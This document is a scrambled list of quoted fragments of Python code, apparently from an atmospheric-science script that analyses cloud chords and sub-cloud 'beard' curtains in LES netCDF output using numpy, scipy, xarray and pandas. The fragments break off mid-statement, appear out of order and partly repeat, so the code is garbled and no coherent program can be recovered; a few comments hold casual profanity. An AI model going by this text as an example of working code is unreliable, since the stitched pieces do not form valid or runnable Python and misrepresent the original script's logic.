"np.array(w_3d.reshape((nz,nx*ny))) ql_2d = np.array(ql_3d.reshape((nz,nx*ny))) var_2d = np.array(var_3d.reshape((nz,nx*ny))) #Now we do",
"fields into 2d slices with an imaginary time vector w_2d",
"(var_2d.transpose() - var_prof[it,:]).transpose() #to get the fake time vector we",
"= surf_flux/w_star var_curtain_tmp = var_curtain_tmp/boundary_scaling #Finally add it to the",
"print('wtf how is this zero: ',np.mean(w_tmp),w_tmp) #globals().update(locals()) ############################################################################################################################################### ################## SIZE",
"'bin_size':bin_size, 'N_bins':N_bins, 'curtain_extra':curtain_extra } #moved to an inner function to",
"np.mean(thlflux_s_1d) boundary_scaling = surf_flux/w_star var_cl_base = var_cl_base/boundary_scaling #Calculating the histogram,",
"tmp_vector).transpose() # = var_2d[:,abs(t_1d-time_prof[tt])<dt_2]-var_prof[tt,:] if data_dim_flag ==3: if sum(file_prof['ql'][it,:])>0.0: print('loading",
"upwind. #TODO #plot_flag disabled for the mean time def proc_beard_regularize(reg_var",
"#turned into a function #removed the possibility to loop over",
"when at least curtain_min is used # curtain_extra: Regularized chord",
"# #1D clustering parameters, #set super strict if chord_times ==",
"np.transpose(ql_3d, (0, 2, 1)) var_3d = np.transpose(var_3d, (0, 2, 1))",
"var_curtain_tmp [:,n_prof]= abs(scaling_factor_prof[n_prof])*var_curtain_tmp[:,n_prof] #Now adding the var_curtain_tmp to the sums",
"#25th percentile of cloud base surf_b_flux = np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) w_star =",
"#because the vectors don't perfectly align thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() -",
"0 n_chord = 0 n_curtain_up = 0 n_curtain_dw = 0",
"= w2.shape[1] z_prof = file_prof['z'][:] dz = z_prof[1]-z_prof[0] total_surf_buoy_flux =",
"go over x and y directions #TODO #plot_flag disabled for",
"the profile data is loaded dx = 25.0 date =",
"get anomalies of thl and qt we subtract the closet",
"(cbl_cl_idx[t_cloudy_idx+1]==cbl_cl_idx[t_cloudy_idx]+1 or t_cbl_cl[t_cloudy_idx+1]-t_cbl_cl[t_cloudy_idx]<t_gap): t_cloudy_idx += 1 t_chord_end = t_cloudy_idx #print('t_chord_end',t_chord_end)",
"while w_var > 0.08: z += 1 w_var = w2[tt,z]",
"t_1d*0 #Now we go through profile time snapshots and allocate",
"= thl_prof[tt,:] #because the vectors don't perfectly align thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] =",
"column value var_orig_col = input_2d_field[:,i] #Regularizing the z axes so",
"long as the difference to the next cloudy timestep is",
"sums, 1: adds a seperate output for each time slice,",
"w/w*, thl'/thl*, or qt'/qt* time_begin = ttiimmee.time() dz = 25.0",
"237.7 alpha = ((A * (T- 273.15)) / (B +",
"comes out fin #We assume here that n_x and n_y",
"c base lower than the max height cbl_cl_idx = np.where((cl_base-cbl_1d[:nt])*dz<0)[0]",
"ch_duration>t_min and ch_duration<t_max and chord_z_min > 4: if t_chord_end-t_chord_begin>cell_min-1: n_chords",
"be an either or, now just add it on w_3d",
"if data_dim_flag ==1: print('loading column: ',filename_column[it]) file_col = Dataset(filename_column[it],read='r') w_2d",
"= np.zeros(n_percentiles) tmp_w_per_up[:] = 'nan' chord_w_per = np.vstack([chord_w_per,tmp_w_per]) chord_w_per_up =",
"but now using a profile # # base_smoothing_flag: 0 use",
"#We assume here that n_x and n_y are roughly same",
"over columns or timesteps if data_dim_flag==1: n_iter =len(filename_column) if data_dim_flag==3:",
"print(':') print(':') print(':') time_end = ttiimmee.time() print('total run time of",
"it in range(N_it_min,n_iter): print('n_chords: ',n_chords) print('n_curtain: ',n_curtain) time1 = ttiimmee.time()",
"chords reached ############################################################################################################################## if n_chords == int(chord_max/2): t_cloudy_idx = int(len(cbl_cl_idx)/2)",
"adding the boundary scaling using w* surf_flux = np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) base_height",
"elif np.mean(w_tmp)<0.: n_curtain_dw += 1 var_curtain_dw_sum += var_curtain_tmp else: print('wtf",
"everywhere I just use idx_beg_curtain as one. i=idx_beg_curtain d_z_tmp =",
"from scipy.interpolate import interp1d from scipy.interpolate import interp2d #from scipy.interpolate",
"var_hist_sum+var_hist else: print('no cloudy columns apparently') var_pdf = var_hist_sum save_string_base",
"of the curtain, we add a bit to to each",
"and end of the curtain, we add a bit to",
"timesteps if data_dim_flag==1: n_iter =len(filename_column) if data_dim_flag==3: n_iter =len(time_prof) #Setting",
"cl_base[ch_idx_l]*0 + int(np.percentile(cl_base[ch_idx_l],base_percentile)/4.) cl_base_75_idx = cl_base[ch_idx_l]*0 + int(np.percentile(cl_base[ch_idx_l],base_percentile)*3./4.) #print ('cl",
"the file. #Changing 3D output #Default is now to always",
"0 #I will try lists first, which I will then",
"print('iterating through step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns') chord_idx_list = []",
"want to do that call the function repeatedly #Should be",
"or for any 3D variable as long as it is",
"1 uses the surface fluxes and cloud base height to",
"devided by the grid spacing gives us a fake time",
"np.zeros([curtain_cells,n_z_reg]) #introducing z_idx_base vector #Assigning reference cloud base where no",
"or column files. Used for testing things quickly # N_it_min",
"kind='linear') var_curtain = f(t_reg_mid,z_reg_mid) return var_curtain #Creating regularized grid. d_reg",
"1 var_curtain_bin_sum[bin_idx,:,:] = var_curtain_bin_sum[bin_idx,:,:] + var_curtain_tmp if np.mean(w_tmp)>0.: n_curtain_bin_up[bin_idx] +=",
"int(np.percentile(cl_base[ch_idx_l],base_percentile)*3./4.) #print ('cl base idx:',np.percentile(cl_base[ch_idx_l],base_percentile),'clbase/4:',cl_base_25_idx[0],'clbase3/4:',cl_base_75_idx[0]) chord_thl_25.append(np.mean(thl_2d[cl_base_25_idx,ch_idx_l])) chord_thl_75.append(np.mean(thl_2d[cl_base_75_idx,ch_idx_l])) chord_qt.append(np.mean(qt_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_qt_75.append(np.mean(qt_2d[cl_base_75_idx,ch_idx_l])) chord_qt_25.append(np.mean(qt_2d[cl_base_25_idx,ch_idx_l]))",
"var_cl_base = var_cl_base/boundary_scaling #Calculating the histogram, and adding it to",
"local variables def func_curtain_reg(input_2d_field): #function regularizes to cloud base #2019-03-20:",
"idx_end_curtain<nt-2 and idx_beg_curtain>2 and len(cbl_cl_idx[t_chord_begin:t_chord_end])>curtain_min-1: n_curtain += 1 #First thing",
"=np.asarray(chord_w_up) chord_w_flux =np.asarray(chord_w_flux) chord_thl =np.asarray(chord_thl) chord_thl_25 =np.asarray(chord_thl_25) chord_thl_75 =np.asarray(chord_thl_75) chord_qt",
"#set super strict if chord_times == 1: t_gap = 0.#No",
"in agreement with Neil z_idx_base_default = math.floor(np.percentile(cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]],base_percentile)) #Regularized curtains, I",
"ch_duration*V_ref #if scale_flag==0: # scaling_factor=1. #find index of bin close",
"for the mean time. if data_dim_flag==1: print('sorry, but I havent",
"(time_end_chord+curtain_extra*(time_end_chord-time_beg_chord)))).argmin()+2 idx_end_curtain = min(idx_end_curtain,nt-1) time_beg_curtain = t_1d[idx_beg_curtain] time_end_curtain = t_1d[idx_end_curtain]",
"not gap possible # anomaly_flag: 0 use reg_var as it",
"n_curtain_up = 0 n_curtain_dw = 0 if size_bin_flag==1: N_bins =",
"x and y calculation #Scaling shouldn't be needed, as all",
"np.zeros([n_t_reg,n_z_reg]) var_curtain_up_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_dw_sum = np.zeros([n_t_reg,n_z_reg]) n_curtain = 0",
"keep the one script from getting to confusing. import numpy",
"#should be pretty strict, no gaps allowed! t_min = 0.0",
"file_var = Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if date=='bomex': # filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof =",
"n_y are roughly same #Could be made cleaner later on",
"var_curtain = f(t_reg_mid,z_reg_mid) #constant base height version if base_smoothing_flag==2: #Regularizing",
"if the index of the next cloudy cell is the",
"= [] chord_qt_25 = [] chord_qt_75 = [] chord_w_flux =",
"number of cells needed per curtain #value used to determine",
"t_min = 30 t_max = 120000 cell_min = 3 #Minimal",
"chord_thl_star =np.asarray(chord_thl_star) chord_qt_star =np.asarray(chord_qt_star) chord_w =np.asarray(chord_w) chord_w_up =np.asarray(chord_w_up) chord_w_flux =np.asarray(chord_w_flux)",
"of variables to analyze is unclear, I will try to",
"height from profile file') T = file_prof['thl'][:,0] p = file_prof['p'][:,0]*0.0+99709",
"with not gap possible # directory_input = '/data/testbed/lasso/sims/' #+date #",
"for the mean time def proc_beard_regularize(reg_var = 'w', date_str='20160611', directory_input='/data/testbed/lasso/sims/',",
"contains ',len(cbl_cl_idx),'cloudy columns') while t_cloudy_idx < len(cbl_cl_idx)-1 and n_chords<chord_max: #print('t_chord_begin',t_chord_begin)",
"file_prof[reg_var][:,:] #needed for anomaly processing #Just grabbing this to calculate",
"= file_col.variables['u'][:] u_2d = u_2d.transpose() v_2d = file_col.variables['v'][:] v_2d =",
"z=z_min while w_var > 0.08: z += 1 w_var =",
"number of values which fulfills cell_min they are counted as",
"t_max = 120000 cell_min = 3 #Minimal number of cells",
"== 2: #Regularizing the scaling profiles and interpolation them onto",
"= [] chord_w_flux = [] #Sum of w below #Coming",
"time points included: ',len(cbl_cl_idx)) #Does it matter if I turn",
"file_w = Dataset(filename_w,read='r') file_ql = Dataset(filename_l,read='r') [nz, nx, ny] =",
"the scaling profiles and interpolation them onto the regularized z",
"print('n_chords: ',n_chords) print('number of time points included: ',len(cbl_cl_idx)) #Does it",
"chordlength is lower than t_min or higher than t_max seconds",
"Maximum number of chords. If data_dim_flag=3 it will jump to",
"to go a bit beyond -1.5 and 1.5, total width",
"2, 1)) qt_3d = np.transpose(qt_3d, (0, 2, 1)) thl_3d =",
"print(':') print(':') print(':') return #A simple script which calculates a",
"resolution of the profile, #Then latter apply the nearest value",
"= var_curtain_bin_sum[bin_idx,:,:] + var_curtain_tmp if np.mean(w_tmp)>0.: n_curtain_bin_up[bin_idx] += 1 var_curtain_bin_up_sum[bin_idx,:,:]",
"all files which contain column. column_files = glob.glob(directory_input+date+'/*.column.*.*.*.nc') for c_file",
"tmp_base_height = np.percentile(cl_base[ch_idx_l],base_percentile)*dz chord_height.append(tmp_base_height) #25th percentile of cloud base surf_b_flux",
"the one script from getting to confusing. import numpy as",
"file_col.variables['w'][:] w_2d = w_2d.transpose() ql_2d = file_col.variables['ql'][:] ql_2d = ql_2d.transpose()",
"= var_curtain_tmp/boundary_scaling #Finally add it to the mean one and",
"timesteps #As long as the difference to the next cloudy",
"# data_dim_flag: 1 = column, 3 = 3D snapshot #",
"=np.asarray(chord_time) #Saving print('all chords: ',len(chord_duration)) save_string_base = 'chord_prop_'+date+'_d'+str(data_dim_flag)+'_ct'+str(chord_times) if N_it_min>0:",
"var_orig_col.shape[0] z_reg_orig_top = d_z_tmp*nz- d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #HAve to",
"data_dim_flag==1: u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2) ### Now appending chord properties chord_timesteps.append(t_chord_end-t_chord_begin)",
"base #2019-03-20: added smoother to hopefully avoid impact of harsch",
"t_min or higher than t_max seconds it isn't #I added",
"300 m of CBL nt = len(cbl_1d) cl_base = np.zeros(nt)",
"factor_x: ',scaling_factor_x,' scaling factor_y: ',scaling_factor_y, ' int(ref_idx): ',int(ref_idx)) if scale_flag",
"= interp2d(t_reg_orig, z_reg_mid, var_t_low_z_high.transpose(), kind='linear') var_curtain = f(t_reg_mid,z_reg_mid) #constant base",
"= 1e-5 #value used to determine existence of cloud z_min",
"np.zeros(n_percentiles) tmp_w_per_up[:] = 'nan' chord_w_per = np.vstack([chord_w_per,tmp_w_per]) chord_w_per_up = np.vstack([chord_w_per,tmp_w_per_up])",
"allocate the closest full time values to the profile values",
"memory if reg_var == 'w': var_2d = w_2d if reg_var",
"columns') chord_idx_list = [] while t_cloudy_idx < len(cbl_cl_idx)-1:# and n_curtain<100*it:",
"= 0 t_max = 1e9 cell_min = 10 #Minimal number",
"var_curtain_sum.transpose()/n_curtain), reg_var+'_up':(('regularized height', 'regularized time'), var_curtain_up_sum.transpose()/n_curtain_up), reg_var+'_dw':(('regularized height', 'regularized time'),",
"save_string_base = save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9: save_string_base = save_string_base+'_Nmax'+str(n_iter) save_string_base =",
"= surf_flux/w_star if reg_var=='thl': thl_flux = np.mean(thlflux_s_1d) boundary_scaling = surf_flux/w_star",
"values that fit model output exactly with not gap possible",
"Dataset(filename_column[it],read='r') w_2d = file_col.variables['w'][:] w_2d = w_2d.transpose() ql_2d = file_col.variables['ql'][:]",
"to determine existence of cloud ql_min = 1e-5 z_min =",
"1, it scales the output by u/sqrt(u^2+v^2) and flips the",
"= [] chord_height = [] #percentile of cloud base chord_w",
"1)) qt_3d = np.transpose(qt_3d, (0, 2, 1)) thl_3d = np.transpose(thl_3d,",
"updrafts chord_w_base = [] chord_w_star = [] chord_thl_star = []",
"#As long as the difference to the next cloudy timestep",
"overlap is used. if idx_end_curtain<nt-2 and idx_beg_curtain>2 and len(cbl_cl_idx[t_chord_begin:t_chord_end])>curtain_min-1: n_curtain",
"'w': var_2d = w_2d if reg_var == 'ql': var_2d =",
"',len(chord_duration)) save_string_base = 'chord_prop_'+date+'_d'+str(data_dim_flag)+'_ct'+str(chord_times) if N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min) if",
"= 1.0/z_idx_base[i] var_orig_2d = input_2d_field[:,idx_beg_curtain:idx_end_curtain] nz = var_orig_2d.shape[0] z_reg_orig_top =",
"directions #TODO #plot_flag disabled for the mean time def proc_chords(",
"#Getting anomalies of thl and qt qt_2d[:,:] = (qt_2d.transpose() -",
"t_1d*0 + total_surf_thl_flux[it] time2 = ttiimmee.time() print('loading time:',(time2-time1)*1.0,) ### Detecting",
"',n_curtain) time1 = ttiimmee.time() if data_dim_flag ==1: print('loading column: ',filename_column[it])",
"if n_chords == int(chord_max/2): t_cloudy_idx = int(len(cbl_cl_idx)/2) t_cloudy_idx += 1",
"#Default is now to always go over x and y",
"i<idx_end_chord and cl_base[i]<cbl_1d[i]: z_idx_base[i] = cl_base[i] #Here the smoother comes",
",np.array(ql_3d.reshape((nz,nx*ny)))]) var_2d = np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))]) #This might save a bit",
"reference winds',ref_lvl ) #fake t vector, t_1d = np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it else:",
"print('number of time points included: ',len(cbl_cl_idx)) #Does it matter if",
"hard coded that neighboring cells always count ##Check if the",
"tmp_w_per_up = np.percentile(w_base_vec[w_base_vec>0.0],percentiles) else: tmp_w_per_up = np.zeros(n_percentiles) tmp_w_per_up[:] = 'nan'",
"w_var > 0.08: z += 1 w_var = w2[tt,z] #w_var",
"used to find chordlength bottom # chord_times: 0 use Neils",
"gap possible # directory_input = '/data/testbed/lasso/sims/' #+date # N_it_max =",
"nans that doesn:t work anymore somehow. Now I just set",
"are any clouds if boundary_scaling_flag == 1 and len(cbl_cl_idx)>1: #First",
"0 only puts out the total sums, 1: adds a",
"(T-273.15))) alpha = alpha + np.log(rel_hum) dewpoint = (B *",
"np.percentile(w_base_vec[w_base_vec>0.0],percentiles) else: tmp_w_per_up = np.zeros(n_percentiles) tmp_w_per_up[:] = 'nan' chord_w_per =",
"cells needed per curtain #value used to determine existence of",
"curtain_extra #takes the original time vector, subtracts it by mean",
"resolution #It is expected to go a bit beyond -1.5",
"Dataset(filename_prof,read='r') extra_string = '' #This now a bit trickier then",
"cbl_1d = t_1d*0 bflux_s_1d = t_1d*0 qtflux_s_1d = t_1d*0 thlflux_s_1d=",
"z_prof[1]-z_prof[0] print('dz: ',dz) #for boundary scaling total_surf_buoy_flux = file_prof['bflux'][:,1] total_surf_thl_flux",
"n_iter =len(filename_column) if data_dim_flag==3: n_iter =len(time_prof) #Setting curtains for var",
"1.0/z_idx_base[i] nz = var_orig_col.shape[0] z_reg_orig_top = d_z_tmp*nz- d_z_tmp/2 z_reg_orig =",
"w_2d = np.zeros((nz,1)) var_2d = np.zeros((nz,1)) t_1d = np.zeros(1) #The",
"0 use Neils values, use values that fit model output",
"could crash regularization later on, timestep: ',tt) cbl_1d_prof[tt] = math.floor(nz*0.6)",
"cloudy cell is the same as the next index in",
"=np.asarray(chord_w_star) chord_thl_star =np.asarray(chord_thl_star) chord_qt_star =np.asarray(chord_qt_star) chord_w =np.asarray(chord_w) chord_w_up =np.asarray(chord_w_up) chord_w_flux",
"var_2d = np.zeros((nz,1)) t_1d = np.zeros(1) #The needed cbl height,",
"it is. 1 use reg_var - profile. Works easiest for",
"in range(idx_beg_chord,idx_end_chord): if i>idx_beg_chord-1 and i<idx_end_chord and cl_base[i]<cbl_1d[i]: z_idx_base[i] =",
"qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = qt_prof[tt,:] #because the vectors don't perfectly align",
"here that n_x and n_y are roughly same #Could be",
"(right?) #Similarly, no basedefinition is needed, all values are relative",
"# # base_smoothing_flag: 0 use mix of percentile and cloud",
"the same cloud #As an additional contraint, if the cloudy",
"#Is a bit overcooked currently as it only works with",
"= file_prof['p'][:,0]*0.0+99709 qt = file_prof['qt'][:,0] w2 = file_prof['w2'][:,:] thl_prof =",
"time distance between them. #if the difference is larger than",
"bins the beards by their chord_lenth. Currently using 8 bins",
"save_string_base+'_sf'+str(scale_flag) if N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9: save_string_base =",
"from cusize_functions import * #import matplotlib.pyplot as plt import pandas",
"= file_col.variables['time'][:] u_2d = file_col.variables['u'][:] u_2d = u_2d.transpose() v_2d =",
"are plotted. if plot_curtains_flag ==1: print('plotting not implemented yet') ##############################################################################################################################",
"we calculate the new regularized grid with the correct vertical",
"[] chord_w_up = [] #mean over updrafts chord_w_base = []",
"cbl_1d = t_1d*0 #The needed surface_bouyancy_flux bflux_s_1d = t_1d*0 qtflux_s_1d",
"the z_reg_orig to enable interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) var_orig_col =",
"I am too lazy to pass on all my variables",
"chord_times == 1: t_gap = 0. #should be pretty strict,",
"chord ql_min = 1e-5 #value used to determine existence of",
"directory_output+save_string_base+'.pkl' data_for_panda = list(zip(chord_timesteps,chord_duration,chord_length,chord_height,chord_w_base,chord_w,chord_w_flux,chord_time,chord_w_up,chord_w_per,chord_w_per_up, chord_w_star,chord_thl_star,chord_qt_star, chord_thl,chord_thl_25,chord_thl_75,chord_qt,chord_qt_25,chord_qt_75)) df = pd.DataFrame(data =",
"alpha = ((A * (T- 273.15)) / (B + (T-273.15)))",
"vectors don't perfectly align var_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose() #",
"to keep the automatic x and y calculation #Scaling shouldn't",
"chord_thl_75 = [] chord_qt = [] chord_qt_25 = [] chord_qt_75",
"get started. The lowest bin should be empty, because we",
"V_ref = np.sqrt(u_ref**2+v_ref**2) time_resolution = dx/V_ref print('time iterative, V_ref, time_resolution',it,",
"t_cbl_cl=t_1d[cbl_cl_idx] ### Clustering 1D #Now we simply go through all",
"np.log(rel_hum) dewpoint = (B * alpha) / (A - alpha)",
"= d_z_tmp*nz- d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #HAve to add 0",
"if base_smoothing_flag==2: #Regularizing the z axes so that cloud base",
"curtains, I am too lazy to pass on all my",
"proc_pdf(reg_var = 'w', date_str='20160611', directory_input ='/data/testbed/lasso/sims/', directory_output ='data_pdfs/', data_dim_flag=3, special_name='',",
"is set the pre regularization curtains are plotted. if plot_curtains_flag",
"1: adds a seperate output for each time slice, is",
"it comes out fin #We assume here that n_x and",
"one. i=idx_beg_curtain d_z_tmp = 1.0/z_idx_base[i] var_orig_2d = input_2d_field[:,idx_beg_curtain:idx_end_curtain] nz =",
"in range(idx_beg_curtain,idx_end_curtain): #assigining column value var_orig_col = input_2d_field[:,i] #Regularizing the",
"[] chord_duration = [] chord_time = [] chord_height = []",
"=n_curtain_bin_dw xr_dataset.attrs = settings_dict save_string = directory_output+ reg_var+save_string_base+'_sizebin.nc' xr_dataset.to_netcdf(save_string) print('saved",
"max height cbl_cl_idx = np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 print('iterating",
"and y directions #Two different scale_flags added to rotate the",
"#We started with a simple 5 cell running mean, #But",
"#if date=='bomex': # filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') extra_string = ''",
"in range(len(time_prof)): #globals().update(locals()) tmp_matrix = thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = thl_prof[tt,:] #because",
"np.max(ql_2d[:,t])>ql_min : cl_base[t]=np.argmax(ql_2d[:,t]>1e-6) else: cl_base[t]=10000000 cl_base=cl_base.astype(int) #Now find c base",
"2: just use percentile defined by base_percentile # base_percentile: percentile",
"#Just grabbing this to calculate dz z_prof = file_prof['z'][:] dz",
"calculated directly from the cloud base speeds if data_dim_flag==1: ch_idx_l",
"the grid spacing gives us a fake time resolution #we",
"of 100 m to screen out fog/dew stuff at the",
"z_reg_orig_top = d_z_tmp*nz-d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #HAve to add 0",
"file') T = file_prof['thl'][:,0] p = file_prof['p'][:,0]*0.0+99709 qt = file_prof['qt'][:,0]",
"directory_input+date+'/ql.nc' file_w = Dataset(filename_w,read='r') file_ql = Dataset(filename_l,read='r') [nz, nx, ny]",
"of cells needed per chord curtain_min = 10 #Minimal number",
"v_2d.transpose() print('t_1d',t_1d) #Load the var file, even if means that",
"chord_duration>t_min and chord_duration<t_max and chord_z_min > 4: if t_chord_end-t_chord_begin>cell_min-1: n_chords",
"original time vector, subtracts it by mean time, then scales",
") #fake t vector, t_1d = np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it #dt_1d = t_1d*0",
"scaling_factor_y_prof = v_ref_prof/V_ref_prof #Using the mean cloud base height as",
"arrays in the end before saving in pandas chord_timesteps =",
"of percentiles percentiles = np.array([5,10,35,50,65,90,95]) #1D clustering parameters in seconds,",
"= np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_up_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_dw_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) mid_bin_size =",
"boundary scaling using w* #Is a bit overcooked currently as",
"time','length'), var_curtain_bin_dw_sum.transpose()/n_curtain_bin_dw)}, coords={'regularized time':t_reg_mid, 'regularized height':z_reg_mid, 'length':mid_bin_size}) xr_dataset[reg_var].attrs['n'] =n_curtain_bin xr_dataset[reg_var+'_up'].attrs['n']",
"dx/V_ref print('time iterative, V_ref, time_resolution',it, V_ref, time_resolution ) print('ref_lvl used",
"grab_3d_field(file_var ,it,reg_var) #Here we have to do all the fuckery",
"((A * (T- 273.15)) / (B + (T-273.15))) alpha =",
"of a variable below cloud base #Both have a large",
"use the calculated cbl+300 meter or lcl as reference height",
"percentile and cloud base as done my Neil, 1: smooth",
"z_reg_orig,var_orig_2d, kind='linear') var_curtain = f(t_reg_mid,z_reg_mid) return var_curtain #Creating regularized grid.",
"anyway chord_timesteps=np.asarray(chord_timesteps) chord_duration =np.asarray(chord_duration) chord_length =np.asarray(chord_length) chord_height =np.asarray(chord_height) chord_w_base =np.asarray(chord_w_base)",
"no cloud present z_idx_base=cl_base*1.0+0.0 z_idx_base[:] = z_idx_base_default for i in",
"columns') while t_cloudy_idx < len(cbl_cl_idx)-1 and n_chords<chord_max: #print('t_chord_begin',t_chord_begin) t_chord_begin =",
"cbl+300 meter or lcl as reference height ref_lvl = cbl_1d_prof[it]",
"the mean time def proc_beard_regularize(reg_var = 'w', date_str='20160611', directory_input='/data/testbed/lasso/sims/', directory_output",
"the next cloudy timestep is lower than t_gap it counts",
"settings_dict #Making save string save_string_base = '_beard_'+date+'_d'+str(data_dim_flag)+'_cb'+str(base_smoothing_flag)+'_an'+str(anomaly_flag)+'_ct'+str(chord_times)+'_ce'+str(int(curtain_extra)) if data_dim_flag==3: save_string_base",
"do is calculate the chord base using the 25 percentile",
"'+save_string) print(':') print(':') print(':') print(':') print(':') return #A simple script",
"N_bins = 12 n_curtain_bin = np.zeros([N_bins]) n_curtain_bin_up = np.zeros([N_bins]) n_curtain_bin_dw",
"out with histograms of w from -10 to 10 and",
"the output by u/sqrt(u^2+v^2) and flips the vector if u>0.",
"= cbl_1d_prof[it] u_ref = file_prof['u'][it,ref_lvl] v_ref = file_prof['v'][it,ref_lvl] V_ref =",
"now we are making it a function of the chordlength,",
"= np.zeros([0,n_percentiles]) #This now a bit trickier then for the",
"lvl ref_idx = np.mean(cl_base[cbl_cl_idx]) if scale_flag == 1: #a new",
"var_curtain_bin_sum[bin_idx,:,:] = var_curtain_bin_sum[bin_idx,:,:] + var_curtain_tmp if np.mean(w_tmp)>0.: n_curtain_bin_up[bin_idx] += 1",
"for anomaly processing #Just grabbing this to calculate dz z_prof",
"print('saved pdf with ', sum(var_pdf), 'points to '+save_string) print(':') print(':')",
"reg_var+'_dw':(('regularized height', 'regularized time'), var_curtain_dw_sum.transpose()/n_curtain_dw)}, coords={'regularized time':t_reg_mid, 'regularized height':z_reg_mid}) xr_dataset[reg_var].attrs['n']=n_curtain",
"print(':') return #A simple script which calculates a histogram below",
"len(cbl_cl_idx)-1:# and n_curtain<100*it: ####################################GO HERE TO SET MAXIMUM CURTAIN #print(t_chord_begin)",
"the ref_lvl used is determined from the mean cloud base",
"np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #HAve to add 0 to the z_reg_orig to enable",
"in range(N_it_min,n_iter): print('n_chords: ',n_chords) print('n_curtain: ',n_curtain) time1 = ttiimmee.time() if",
"if data_dim_flag==3: save_string_base = save_string_base+'_sf'+str(scale_flag) if N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min)",
"vector w_2d = np.array(w_3d.reshape((nz,nx*ny))) ql_2d = np.array(ql_3d.reshape((nz,nx*ny))) qt_2d = np.array(qt_3d.reshape((nz,nx*ny)))",
"scale_flag: If 0, nothing, if 1, it scales the output",
"#Index of minimum z_vlvl of the cbl print('looking into date:",
"calculation #Scaling shouldn't be needed, as all chord properties should",
"cloud base height as the reference lvl ref_idx = np.mean(cl_base[cbl_cl_idx])",
"connecting all cloudy indexes while t_cloudy_idx < len(cbl_cl_idx)-1 and (cbl_cl_idx[t_cloudy_idx+1]==cbl_cl_idx[t_cloudy_idx]+1",
"= np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #HAve to add 0 to the z_reg_orig to",
"#mesh_t_low_z_high_x,mesh_t_low_z_high_z = np.meshgrid(t_reg_orig,z_reg_mid) #seems not to be needed var_t_low_z_high =",
"thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = thl_prof[tt,:] #because the vectors don't perfectly align",
"xarray xr_dataset = xr.Dataset( data_vars = {reg_var :(('regularized height', 'regularized",
"to do is calculate the chord base using the 25",
"and chord_duration<t_max and chord_z_min > 4: if t_chord_end-t_chord_begin>cell_min-1: n_chords +=",
"pdf with ', sum(var_pdf), 'points to '+save_string) print(':') print(':') print(':')",
"= file_col.variables['v'][:] v_2d = v_2d.transpose() print('t_1d',t_1d) #Load the var file,",
"issues later on I set the maximum cbl height to",
"n_chords = 0 #This now a bit trickier then for",
"grabbing this to calculate dz z_prof = file_prof['z'][:] dz =",
"> 4: if t_chord_end-t_chord_begin>cell_min-1: n_chords += 1 #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_cloudy_idx])) #Here we",
"0 n_curtain_dw = 0 #for col in filename_column: n_iter =",
"delete 3d fields as they aren't needed anymore, not sure",
"chord_time.append(np.mean(t_1d[ch_idx_l])) if data_dim_flag==3: chord_time.append(time_prof[it]) t_cloudy_idx += 1 time3 = ttiimmee.time()",
"0.08: z += 1 w_var = w2[tt,z] #w_var = np.var(w_1d[z,:])",
"values, use values that fit model output exactly with not",
"then convert to arrays in the end before saving in",
"I set the maximum cbl height to 60 % of",
"print('loading time:',(time2-time1)*1.0,) ### Detecting lowest cloud cell is within 300",
"and n_curtain<100*it: ####################################GO HERE TO SET MAXIMUM CURTAIN #print(t_chord_begin) t_chord_begin",
"up', 'w star','thl star','qt star', 'thl','thl 25','thl 75','qt','qt 25','qt 75'])",
"x and y directions #Two different scale_flags added to rotate",
"cl_base[t]=np.argmax(ql_2d[:,t]>1e-6) else: cl_base[t]=10000000 cl_base=cl_base.astype(int) #Now find c base lower than",
"load w_2d or ql_2d var_2d = file_col.variables[reg_var][:] var_2d = var_2d.transpose()",
"height cbl_1d = t_1d*0 bflux_s_1d = t_1d*0 qtflux_s_1d = t_1d*0",
"enable interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) scaling_factor_x_prof_ext = np.hstack([scaling_factor_x_prof[0],scaling_factor_x_prof]) scaling_factor_y_prof_ext =",
"contain column. column_files = glob.glob(directory_input+date+'/*.column.*.*.*.nc') for c_file in column_files: filename_column.append(c_file)",
"1d data') sys.exit() #Now adding the boundary scaling using w*",
"matter if I turn these from lists to arrays? Fuck",
